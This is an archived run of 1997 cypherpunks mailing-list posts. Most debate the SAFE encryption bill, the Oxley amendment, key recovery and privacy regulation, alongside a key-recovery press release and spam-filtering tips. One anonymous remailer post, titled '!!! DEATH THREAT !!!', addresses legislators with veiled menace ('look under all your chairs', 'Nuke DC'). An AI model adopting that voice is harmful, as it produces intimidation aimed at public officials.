    Partnership Brings Together Strong Cryptography and User-Controlled Ke y
                                    Recovery

     MEQUON, Wis., Sept. 23 /PRNewswire/ -- Frontier Technologies and Trus ted
 Information Systems, Inc. (Nasdaq: TISX), today announced a strategic all
iance
 to integrate Frontier Technologies' e-Lock(TM) security family with TIS'
 RecoverKey(TM) Cryptographic Service Provider (CSP), offering customers a n
 easy-to-use solution for managing strong encryption across Windows(R) 95  and
 Windows NT(R) applications.  This alliance increases opportunities for
 implementing and managing strong encryption worldwide while putting users  in
 control of their own data and privacy.
     The e-Lock products will work seamlessly across the Internet, intrane ts
 and extranets with the RecoverKey CSP so that users can employ the strong est
 levels of cryptography with the means to prevent "locked and lost" data.
 Customers using e-Lock with RecoverKey simply click a button to secure
 documents and/or to recover data that would otherwise be lost due to a
 forgotten password or lost key.
     "RecoverKey gives users the opportunity to enact data saving measures  up
 front when employing the e-Lock solution," said Dr. Prakash Ambegaonkar,
 Frontier Technologies' Chairman & CEO.  "Frontier's expertise coupled wit h
 TIS' innovative technology gives users the strongest levels of assurance  that
 their valuable information is locked up tight while providing an emergenc y
 mechanism for unlocking it if the key becomes lost or destroyed."
     "TIS is pleased to join forces with Frontier Technologies in their
 commitment to meet market demand for applications that support user contr
olled
 key recovery," commented Homayoon Tajalli, TIS Executive Vice President a nd
 General Manager, Cryptographic Products.  "Global e-commerce and communic
ation
 depends on impenetrable transmission and storage of valuable information.
 e-Lock can now bring customers the benefit of robust encryption with a ba ckup
 plan in place for recovering locked data if the original key is inaccessi
ble."
     Frontier Technologies' e-Lock security family is a complete,
 standards-based solution for creating, using and managing secure applicat ions
 for intranets and the Internet in both Windows(R) 95 and Windows NT(R)
 environments.  The e-Lock family of products, e-Sign, Secure Messaging
 Toolkit, and e-Lock PKI support digital signatures, encryption and public  key
 infrastructure.
     Trusted Information Systems' RecoverKey CSP is the first software of  its
 kind to reach a worldwide commercial market, enabling Windows 95 and Wind ows
 NT desktop users to implement powerful cryptography at the click of a but ton.
 Incorporating popular algorithms such as RSA, DES, Triple DES and 128-bit
 RC2/RC4, the RecoverKey CSP will provide the components necessary to encr ypt
 and decrypt information seamlessly across applications.
     RecoverKey CSP trial versions are currently shipping and the RecoverK ey
 CSP-enabled e-Lock product will be available in late fall.  Visit the Fro
ntier
  Technologies website at http://www.frontiertech.com for free download of  the
 e-Lock products.
     Frontier Technologies' mission is to pioneer Internet and Intranet
 applications that make individuals more productive and businesses more
 competitive in a global market.
     Trusted Information Systems, Inc., is a leading provider of comprehen sive
 security solutions for protection of computer networks, including global
 Internet-based systems, internal networks, and individual workstations an d
 laptops.
     RecoverKey is a trademark of Trusted Information Systems, Inc.  e-Loc k,
 e-Cert, e-Sign, e-Mail are trademarks of Frontier Technologies Corporatio n.
 All other product and company names may be trademarks of their respective
 owners.

 SOURCE  Frontier Technologies

 CONTACT: Ann M. Krauss, 520-797-0583, 520-797-0182 (fax),
 Ann@Frontiertech.com or Nicole E. Rogers, 414-241-4555 x293,
 414-241-7084 (fax), NicoleR@Frontiertech.com, both of Frontier
 Technologies, or Shoshana Rosenthal of Trusted Information
 Systems, 301-947-7194, shoshana@tis.com

 ------------------------------------------------------------------------- ---

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  (Washington and the World) (Money Talks) (About PRN)(Ask PRN) (Links) (P RN
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 the contents of this site are expressly prohibited without the written
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: HugeCajones Remailer<hc@dev.null>
Date: Thu, 25 Sep 1997 01:50:42 +0800
To: cypherpunks@toad.com
Subject: !!! DEATH THREAT !!!
Message-ID: <199709241058.EAA15898@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



You should be careful before you do foolish things like making a death
threat because it can have really bad results. 
It can make people really nervous and think maybe they should get
you first. Sometimes they hire other people to get you before you get
them-really bad people sometimes. Sometimes even bad people who
act like they are good people and fool everyone until they kill you.
Which brings me to the point I am trying to make:
You should not try to kill the Constitution any more because there is
not enough left to make people safe and they might get really nervous
and think maybe they should get you first-or even after. For revenge.

People like the Constitution a lot and if you are making a death threat
against it then it is like saying your going to kill someone else's
friend or family and everyone knows that they will kill you because 
they are domestic and not a stranger.  Or is it that they are stranger 
and not domesticated?
Never mind. You know what I mean. 
Especially if you try to make it so that they cannot put aluminum foil
hats on their thoughts and their words and their writing. Then they 
get really, really, nervous and maybe start thinking that they have to
kill everybody because they are not safe from anybody. 
You should be careful if you find yourself walking next to someone
whistling that Crosby Stills & Nash song "If you cant kill the one you
love-then kill the one you're with." (ç That's a joke but it would
be really funny if you took it serious and whacked someone out for
whistling it anyway.) (Its not like they have a Constitutional right to
whistle it or anything....hee, hee.)

You should be careful before you vote to kill the Constitution and look
under all your chairs and stuff, just in case. You should maybe look in
your conscience too and see if you are not a bad person maybe. You
should also maybe look in a mirror and make sure you are not cross
eyed and that there is nobody beside you whistling that song "If looks
could kill-then you would only be hurting yourself."(<== that's a joke.)

Even if you do think you can kill the Constitution and still have all of
the people believe you are not a bad person then you should at least
try not to let really stupid people who you work with say things like
"I am too stupid to learn about this stuff so I am going to let the guys
who want to make aluminum foil hats illegal and put everyone in jail
decide how I vote to kill the Constitution."
The one those guys who always say "Nuke DC" call Swinestein said
that and it made everyone think you are all that stupid and going to
let people with guns who kill women and children make your votes
for you. Then even more of them say "Nuke DC" especially when they
remember how bad the guys with the guns that you are letting vote for
you fucked their friend (sorry but thats what they did) for making a 
stink with the IRS.

That is really all I am trying to say. Is that you should be careful
that you dont kill so much of the Constitution and let the guys with 
the guns screw so many people that nobody feels safe from them anymore
because they wont just get nervous about them they will get nervous
about you too because you promised to protect them and didnt.
Just try to remember that it never ends.
If you take away some of the guns from people then you have to take
away all the guns or you are in big trouble. If you take away some of
the Constitution from people then you have to take away all of the
Constitution or you are in big trouble.
Even if you think you took away all of the things that people can use
to be safe and free then they will make more-like Doritos. 
If you try to kill them with bullshit then they will try to kill you
with their own brand of fertilizer. If you take away their aluminum 
foil hats then they will make hats out of paper and call them 
Forever Young.

Killing the Constitution is a lot like killing DC-if your going to do
it then you might as well do it right and do it all at once.
Guys with guns who want to kill Freeh-dumb know that and so do
guys with nukes who are Freeh-dumb fighters. (My uncle made up a
new word about him-he said he "testiLies to Congress.")

Don't be a stranger,
APlayerToBeNamedLater
p.s - If you see Declan McCullagh getting in his car and driving like
hell away from the city then you should get in your car and do the 
same thing. You dont need to pack a suitcase because I think if he
does that then there is already one packed.
(Thats what the guys with guns told you in your secret meetings so 
you will kill the Constitution for them isnt it?)
p.p.s.- If you hear someone say "President Freeh" then do not wait for
Declan just get the hell out of there real fast anyway. You can come 
to my place if you want and help me send out secret aluminum foil
hats. (Bring a whoopee cushion and we will make little funny booms
instead of big scary ones. We are a little more laid back out here in
the country than you guys in the big city.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 25 Sep 1997 02:09:04 +0800
To: cypherpunks@toad.com (Cypherpunks Mailing List)
Subject: Not worried?  You will be... (fwd from Yucks)
Message-ID: <199709241030.GAA26773@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Nev Dull -----

>From nev@bostic.com  Tue Sep 23 02:39:35 1997
Date: Mon, 25 Aug 1997 14:05:02 -0400 (EDT)
From: Nev Dull <nev@bostic.com>
Subject: Not worried?  You will be...
To: nev@bostic.com (/dev/null)

Not worried about companies collecting information about your
purchasing habits?  You will be...

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Dear Mr. Jones:

Our research indicates that you have not bought condoms at SpiffyMart
recently.  (Your last purchase was 8 weeks ago.)  Further, you have
stopped buying feminine hygiene products, but have sharply increased
your frozen pizza and dinners usage in the same time frame.

It's clear that Ms. Jody Sanders and you are no longer "an item".  (It's
probably for the best -- she consistently buys inexpensive shampoo, and
it was obvious that the two of you were not economically compatible.)
The Postal Service database confirms that she filed a change of address
form.

We at Hotflicks International offer our condolences.  As the number-one
vender of hot XXX-rated videos, we want you to know that our products can
help you through this difficult period.  When you're feeling lonely, check
out our unmatched catalog, there is guaranteed to be something that you'll
want to purchase!

Order from this catalog and we'll throw in an extra tape FREE!

Yours Truly,
Pat Aureilly, Hotflicks Marketing Manager

ps:     That "blond" at O'Dougles last Saturday for whom you bought a
	Strawberry Marguerita?  Forget it!  Her HMO database confirms
	that she's had three yeast infections this year and was tested
	for a sexually transmitted disease.  Our tapes are much safer!

------------------------------

----- End of forwarded message from Nev Dull -----

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 25 Sep 1997 01:59:44 +0800
To: cypherpunks@toad.com
Subject: Intel Committee Report on SAFE
Message-ID: <1.5.4.32.19970924103443.008e84c8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The House Select Committee on Intelligence has published
its report on SAFE, including supporting and opposing
views of its controversial amendment, estimated costs
and analysis:

   http://jya.com/hr105-108-pt4.htm  (195K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Ellison <cme@cybercash.com>
Date: Thu, 25 Sep 1997 01:51:47 +0800
To: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
Subject: Re: Emphasizing a point by Donald Eastlake re key recovery
Message-ID: <3.0.3.32.19970924101545.032be240@cybercash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:34 AM 9/23/97 +0100, Ross Anderson wrote:
>There is also the point that the vast majority of encryption keys are
>actually used for authentication rather than confidentiality. The keys
>that encrypt your bank card PIN en route from the ATM to the bank, the
>keys in your satellite TV decoder, the keys in your gas meter and your
>postal meter - in fact the majority of all DES keys in use - are about
>authentication. In theory most of them could be replaced by digital 
>signature mechanisms but given the size of the installed base, it 
>won't happen anytime soon.

For what it's worth, I once got an opinion from NSA's export control office 
that I could use any kind of crypto I wanted (e.g., even triple-DES) if all 
I'm doing is protecting a channel carrying a password (like the PIN), 
because that's an authentication function and therefore to be encouraged.  I 
didn't get this in writing, however, so I'd have to go for it again.

 - Carl

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+------------------------------------------------------------------+
|Carl M. Ellison  cme@cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 02:00:45 +0800
To: cypherpunks@toad.com
Subject: Re: "Matchcode" technology sparks privacy flames.....
Message-ID: <Pine.GSO.3.95.970924103416.12404H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 22 Sep 1997 09:36:49 -0700 (PDT)
From: Julie DeFalco <defalco@cei.org>
To: Declan McCullagh <declan@well.com>
Subject: Re: "Matchcode" technology sparks privacy flames.....

1)  CEI's position on this stuff, in a nutshell, is that the only things the
government should worry about on the Internet are the traditional things
that the government ought to worry about: enforcing rule of law and private
property rights.  The government should not run around making up excuses to
regulate privacy preferences on the internet.  For a full exposition of our
position, feel free to check out our filings on the FTC web page (www.ftc.gov).

The biggest problem in my mind was that the FTC was talking about a medium
that is pretty new and still has a lot of growing pains.  The FTC wants to
get in on the ground floor of regulation and direct the development of the
Internet -- that's industrial policy and should be called that so at least
we're all talking about the same thing. 

 Meanwhile, lots of folks find it easier to cry out for a new regulation,
rather than negotiate a solution among conflicting interests, which is time
consuming and messy.  This happens in all other industries, so it's not
surprising that such pressure has emerged here.  After all, regulators need
an excuse for their jobs, and outside groups calling for more regulation
often have the opportunity to direct how the regulation is written and
implemented (in other words, they can gain power and access to power).

I think that the problems discussed at the hearing are not only outside the
proper sphere of government (actually, the FTC in my mind is outside the
proper sphere of government), but that most of those problems would be
eventually worked out in time. 

2)>>>>One of the main assertions made by both sides in the privacy
>>battles
>>>>is people must be informed when a third party is gathering
>>"personal"
>>>>information about them.

No, I never said that.  I said that if you release information about
yourself into a public sphere, then you have no right to control the
downstream use of that information (because that is essentially controlling
the behavior of others).  I said that in terms of companies' web pages, it
would probably be a good idea to inform people of this action.  And that
without a law, or even without government pushing, it would happen anyway.

3) Re: the gossip question:  I was going to write what Declan said, only he
said it much better.  I don't think that you or anybody can properly draw a
line between how much gossip is "too much" gossip, and when one should "draw
a line."

Maybe we know "too much gossip" when we see it, but do you really want to
cede that much control over the speech and actions of others to a judge?

That's it for now.

Bye,
Julie






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Thu, 25 Sep 1997 02:54:54 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto articles in New York Times Cybertimes web site
Message-ID: <v03010d00b04f0af09c2c@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



There are several interesting articles in today's (Sep 24)
New York Times "Cybertimes" web page.
<http://www.nytimes.com/library/cyber/week/092497encrypt.html>
has an overview and links to other articles.

(This is a free page for USA sites, but requires a login and
password.)

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 02:42:42 +0800
To: Jonah Seiger <jseiger@cdt.org>
Subject: Re: Oxley crypto update: vote in 90 minutes
In-Reply-To: <v03102806b04f08f8521a@[207.226.3.4]>
Message-ID: <Pine.GSO.3.95.970924112730.12404P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 24 Sep 1997, Jonah Seiger wrote:

> I'd be surprised if the version of Oxley II posted on our site is
> inaccurate (it's dated 12:14 pm yesterday), but it is possible that there
> is an Oxley III floating around somewhere. 

Like all language at this point, it's in flux. Oxley's staff says they
were working on this through late yesterday afternoon. But I suspect the
changes (if any) aren't going to substantially reshape the amendment.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 02:07:23 +0800
To: Scott Carr <scarr@bgnet.bgsu.edu>
Subject: Re: The White "Compromise"
In-Reply-To: <3.0.2.32.19970924100704.009ec950@mailbox.bgsu.edu>
Message-ID: <v03007800b04ee3d95517@[204.254.21.50]>
MIME-Version: 1.0
Content-Type: text/plain



The White Compromise is what I wrote about in my Netly piece last Wed? and
my post of last night called "Congress & Crypto Roundup: Vote in Commerce
cmte tomorrow."

>From memory: The "compromise" would remove some export restrictions on
crypto, provided that the program was readily available overseas already.
It would not remove all export restrictions. (This is in the original SAFE
bill, which it amends.)

It also includes those four points I wrote about, including giving the FBI
tons of $$$ to buy them off. More disturbingly, it doubles the
crypto-in-a-crime penalties.

The crypto coalition letter sent around last week was right on this point:
representatives should oppose //all// amendments to SAFE, including the
White so-called "compromise."

-Declan



At 10:07 -0400 9/24/97, Scott Carr wrote:
>   I spoke to a staffer of Rep. Strictland's office (a rural Ohio
>district, I voted for the other guy last year, sigh...) and she did
>not know the Congressman's position on SAFE five and a half hours
>before the markup.  Reading between the lines, he seems to be heading
>for the White "Compromise".
>
>   Now a question, does the White amendment remove export limitations
>on crypto?  Strictland's legislative director stated that was her
>understanding.  I thought it left the status quo in that regard.
>
>   (I am hearing that damned word "COMPROMISE" too many times talking
>to these jokers for my comfort.  The only compromise I see is the
>compromising of my data and security.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Thu, 25 Sep 1997 00:59:42 +0800
To: phelix@vallnet.com>
Subject: RE: The great GAK crack (making GAK economically impossible) (fwd)
Message-ID: <2A22D88740F0D01196BD0000F840F43F954F15@tceis5.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



> I believe that any denial-of-service attack will simply drive up the
costs
>of licensing encryption programs and keys to the point that only
>corporations will be able to afford to release encryption products and
>purchase keys (in bulk).  Remember, we have to pay them for the
privelidge
>(not right) of communicating "securely".

If domestic GAK is mandated, my recommendation to my employer will be to
not transmit anything via the Internet that we wouldn't want on the
cover of The New York Times (or EE Times).  As a U.S. subsidiary of a
foreign corporation, I would not be surprised if our communications were
decrypted and the contents passed along to our U.S. competitors if
domestic GAK is mandated.  (Can you say, "industrial espionage"?  I knew
you could.)
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is 'Don't Tread on
Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Nystrom <enystrom@nscee.edu>
Date: Thu, 25 Sep 1997 03:22:13 +0800
To: phelix@vallnet.com
Subject: Re: The problem of playing politics with our constitutional     rights
In-Reply-To: <342abc87.8873306@128.2.84.191>
Message-ID: <Pine.SOL.3.96.970924115917.5377A-100000@nye>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 24 Sep 1997 phelix@vallnet.com wrote:

> >>remailer could automatically announce itself to the world (perhaps via a
> >>newsgroup post).  The various listing services would pick up on this.  The
> >>more automated it is, the better.
> >
> >How about posting availability notices alt.remailer-availability.announce
> >(create it if necessary) or alt.anonymous.messages?
> 
> Yes, I was thinking along these lines, though right now I'm concentrating
> on the client end of things.

I'm not sure that Usenet would necessarily be the best idea for a primary
source of remailer availability notices.  After all, the latency
associated with Usenet might be a problem.  And more to the point, some of
us have a problem reaching a news server.  On a company LAN connected to
the Internet, for example, any and every J. Random Eudora-user could or
would become a remailer.  (You could have 10 or 50 or more remailers per
organization -- enough that it would be difficult for the sysadmins to
squash them all.)  But most companies do not allow access to a news
server.  A client could telnet out to someplace in the outside world to
announce its presence or whatever, but not post to or read from Usenet.

I think Usenet would serve an important role as a secondary, backup source
of information that would support and mirror the pinging services.  But
to have Usenet as the only source of remailer availablility might be a
little short-sighted.

- -Eric Nystrom


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Thu, 25 Sep 1997 02:53:20 +0800
To: cypherpunks@toad.com
Subject: Announcing ZDU's Fall Course Catalog!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.20434.09241997112433.94906@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT         9/24/97
-----------------------------------------------------------------

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ZDNet Announcements are periodic notices of new features, special
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 --To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com You can leave the subject and body
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 --To unsubscribe to ZDNet Announcements, please send mail to:
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_________________________________________________________________

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Thu, 25 Sep 1997 01:36:55 +0800
To: Matthew Ghio <ghio@temp0117.myriad.ml.org>
Subject: Re: (none)
In-Reply-To: <199709240651.CAA10884@myriad>
Message-ID: <Pine.BSD/.3.91.970924132430.19704C-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 24 Sep 1997, Matthew Ghio wrote:

> I drop everything with an X-UIDL or X-PMFLAGS header in it.  I don't know
> why, but spammers often flag their junkmail as such by putting one of
> these lines in it.  It sure makes it easy to delete the spam...
> 
> bureau42 Anonymous Remailer <remailer@bureau42.ml.org> wrote:
> 
> > 
> > Subject: A cypherpunks challenge.
> > 
> > Received: from 158.43.192.4 (actually max01-056.enterprise.net) by
> > bath.mail.pipex.net with SMTP (PP); Sat, 20 Sep 1997 15:40:32 +0100
> > Received: from gateway1.ml.org by mail.ml.org (8.8.5/8.6.5) with SMTP id
> > GAA02326 for <visit-our-xxx@ml.org>; Sat, 20 Sep 1997 14:36:08 -0600 (EST)
> > Date: Sat, 20 Sep 97 14:36:08 EST
> > From: hucka@eecs.umich.edu
> > To: visit-our-xxx@ml.org
> > Subject: Shut up.
> > Message-Id: <964dffe172ca4d>
> > Reply-To: postmaster@concentric.net
> > X-Pmflags: cum-see-me
> > X-Uidl: 9275163132023367354272390
> > Comments: Authenticated sender is <root@ml.org>

Another good procmail trigger is the timezone "0600 (EST)", which is a bug
in one of the more commonly used spammer programs. 

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 01:50:24 +0800
To: nospam-seesignature@ceddec.com
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <v03007803b04dd0d3f10b@[204.254.22.189]>
Message-ID: <v03007801b04efff9cb2c@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:26 -0400 9/24/97, nospam-seesignature@ceddec.com wrote:
>Truth was not mentioned specifically.  Gossip is rarely true after the
>first few iterations.  You are correct that if the gossip can be proven
>true that the position is defensible (but I would have to check some legal
>references if it is absolute).

Not all lies are libelous, nor should they be. "I love you," no?

>Technically, I am arguing for property rights in reputation.  Patent and
>copyright are already recognized property rights in information.

And these are divisive issues in the circles I travel in.

But no, technically you are arguing for property rights in //personal
information//. This is not a new concept. Brandeis and Warren first laid
the groundwork for this in their landmark (and misguided) 1890 law review
article. That article was written before the advent of modern First
Amendment jurisprudence and does not take free speech rights into
consideration.

Your scheme -- which is hardly novel -- is worthy of the same contempt.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 02:23:13 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Oxley crypto update: vote in 90 minutes
Message-ID: <v03007804b04f0505fb1e@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Today's vote will be held in less than two hours. Keep in mind that this is
just one committee out of five that's considering the SAFE bill. The impact
of the committee's draft of SAFE is not nearly as important, IMHO, as the
political impact of the vote. Can one of the nation's richest industries
muster up the votes to defeat law enforcement -- in the //Commerce//
committee, of all places? Many eyes will be watching the committee today.

I hear that Oxley is nervous and has been calling people he never did
before. His staff tells me that yes, he has been calling everyone on the
committee. He'll be distributing letters of support from groups --
including law enforcement groups in California -- that will buttress his
amendment. Oxley's staff tells me the version of Oxley II posted by CDT is
almost certainly inaccurate and out of date. Solomon, chair of House Rules,
is circulating a letter saying only SAFE with Oxley will go to the floor.

The pressure's on. Rumors are flying that industry may cut a deal (perhaps
brokered by White) that may give up civil liberties in exchange for export
controls. We'll see soon. As of yesterday Oxley appeared to have a majority
of perhaps 32-34 out of the 51 or so people on the committee.

-Declan


>In case anybody is counting votes, my own congressman (Brian Bilbray, R-CA)
>sits on the House Commerce committee. I just got a call back from his
>staff saying that Bilbray opposes the Oxley amendment and continues
>to support the original SAFE bill, which he co-sponsored.
>
>Any other word on how today's vote is going?
>
>Phil







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Thu, 25 Sep 1997 06:16:15 +0800
To: Black Unicorn <cypherpunks@cyberpass.net
Subject: What is a crypto product. Was [nobody@replay.com: Re: "priorproducts"]
In-Reply-To: <199709170339.AA02198@swan.lcs.mit.edu>
Message-ID: <v03010d02b04f30786da9@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain



(I've changed the list from coderpunks to cypherpunks, as this is
getting off-topic for the former list.)

At 12:48 AM -0500 9/17/97, Black Unicorn wrote:
>
>This brings up interesting coding implications.  What is a "cryptographic
>product" and to what extent can key generation be seperated from the
>definition.  To what extent do we want it to be?
>

I would say that a "cryptographic product" is any [insert patent
lawyer language here] that can be used to encrypt or decrypt a
message, and a "key" (the thing you escrow) is the mechanism
by which a message is converted between plaintext and encrypted
text. (Note, then, that I am including both halves of a public
key pair.)

By this, admittedly devil's advocate, reasoning, the sender would
have to escrow the actual session key, not just the private
key that the receiver uses to recover the session key. After all,
if you use PGP to encrypt a message using a public key -- and
don't possess the corresponding private key -- you couldn't read
your own message, but my reading of the law is that the
government still must have immediate access to the plaintext.

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Thu, 25 Sep 1997 02:36:29 +0800
To: Declan McCullagh <fight-censorship@vorlon.mit.edu
Subject: Re: Oxley crypto update: vote in 90 minutes
In-Reply-To: <v03007804b04f0505fb1e@[168.161.105.141]>
Message-ID: <v03102806b04f08f8521a@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain



A little more news:

I've been told that the Bell companies have issued a statement saying that
they remain opposed to Oxley II despite Oxley's attempts to bring them on
board.  This is good news -- the bell companies hold a lot of sway on the
Commerce Committee and their opposition is politically valuable to us.

I'd be surprised if the version of Oxley II posted on our site is
inaccurate (it's dated 12:14 pm yesterday), but it is possible that there
is an Oxley III floating around somewhere.   Perhaps they are just trying
to throw you off the scent.

Solomon's statement that only SAFE w/Oxley will go to the floor is also
good news -- it means that chances of anything passing this session are
that much lower.

More as it comes,

Jonah (rooting for gridlock)


At 2:02 PM -0400 9/24/97, Declan McCullagh wrote:
>Today's vote will be held in less than two hours. Keep in mind that this is
>just one committee out of five that's considering the SAFE bill. The impact
>of the committee's draft of SAFE is not nearly as important, IMHO, as the
>political impact of the vote. Can one of the nation's richest industries
>muster up the votes to defeat law enforcement -- in the //Commerce//
>committee, of all places? Many eyes will be watching the committee today.
>
>I hear that Oxley is nervous and has been calling people he never did
>before. His staff tells me that yes, he has been calling everyone on the
>committee. He'll be distributing letters of support from groups --
>including law enforcement groups in California -- that will buttress his
>amendment. Oxley's staff tells me the version of Oxley II posted by CDT is
>almost certainly inaccurate and out of date. Solomon, chair of House Rules,
>is circulating a letter saying only SAFE with Oxley will go to the floor.
>
>The pressure's on. Rumors are flying that industry may cut a deal (perhaps
>brokered by White) that may give up civil liberties in exchange for export
>controls. We'll see soon. As of yesterday Oxley appeared to have a majority
>of perhaps 32-34 out of the 51 or so people on the committee.
>
>-Declan
>
>
>>In case anybody is counting votes, my own congressman (Brian Bilbray, R-CA)
>>sits on the House Commerce committee. I just got a call back from his
>>staff saying that Bilbray opposes the Oxley amendment and continues
>>to support the original SAFE bill, which he co-sponsored.
>>
>>Any other word on how today's vote is going?
>>
>>Phil



* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 25 Sep 1997 02:57:50 +0800
To: cypherpunks@toad.com
Subject: Congress & Crypto: "No compromise" coalition letter
Message-ID: <v03007807b04f0b016319@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



[This "no compromise" letter from ACLU, Eagle Forum, and other groups is
especially important since it's likely that industry groups may sign on to
compromise legislation. Also attached is a Reuters piece on Freeh's news
conference this morning and an excerpt from an E.C. official's talk also
this morning at the National Press Club. --Declan]

**************

An Open Letter to Members of the House Commerce Committee

September 24, 1997

No Domestic Controls, No Compromise on Privacy Protection
by Encryption

We write this letter to urge you to oppose the Oxley-Manton
amendment to H.R. 695, the Security and Freedom through
Encryption (SAFE) Act. While our organizations sometime
disagree emphatically with each other, we are all united in
asking you to oppose any and all attempts to limit the
right of all Americans to get and use whatever encryption
protection we want.

Specifically included among the proposals we urge you to
oppose are provisions like those found in the amendments to
H.R. 695 proposed by the FBI draft, the Intelligence
Committee, and the National Security Committee, and in the
McCain-Kerrey bill (S. 909) in the Senate.  We also urge
you to oppose as well any proposal establishing a legal
structure for key recovery even if temporarily "voluntary,"
any so-called "compromise" provision drawn from
Oxley-Manton or the other specified proposal, and any new
proposal that would limit the availability and use of
strong encryption.

Representatives of our organizations have already informed
Congress of our vigorous opposition to any anti-encryption
legislation.  We take this opportunity to underscore four
key points.

OXLEY-MANTON ATTACKS THE WAY ORDINARY AMERICANS USE
ENCRYPTION.

Without realizing it, ordinary Americans already use
encryption in their everyday lives.  Cordless and cellular
phones, and every digital phone system uses encryption to
protect privacy.  Oxley-Manton would require a backdoor
breech in encryption security distributed, manufactured or
sold after January 31, 2000. Online browsers for the
Internet also use encryption, with a similar backdoor
breech in security required by Oxley-Manton.  Every
computer that uses encryption ñ sometimes with just a
keystroke ñ to protect the contents of sensitive medical,
legal, religious counseling and other files would be
subject to the same Oxley-Manton backdoor breech in
security.

OXLEY-MANTON INCREASES THE LIKELIHOOD OF CRIMINAL ACTIVITY.

The Oxley-Manton amendment and the other proposals would
compel encryption programs to contain a "backdoor" for law
enforcement either by establishing a regime to recover the
keys to the scrambled message or by providing immediate
decoding of the message. The governments own experts,
however, conclude that the backdoor cannot be limited to
law enforcement. Instead, the backdoor makes the encryption
protection vulnerable to attack by prying neighbors,
business competitors, private investigators, and others who
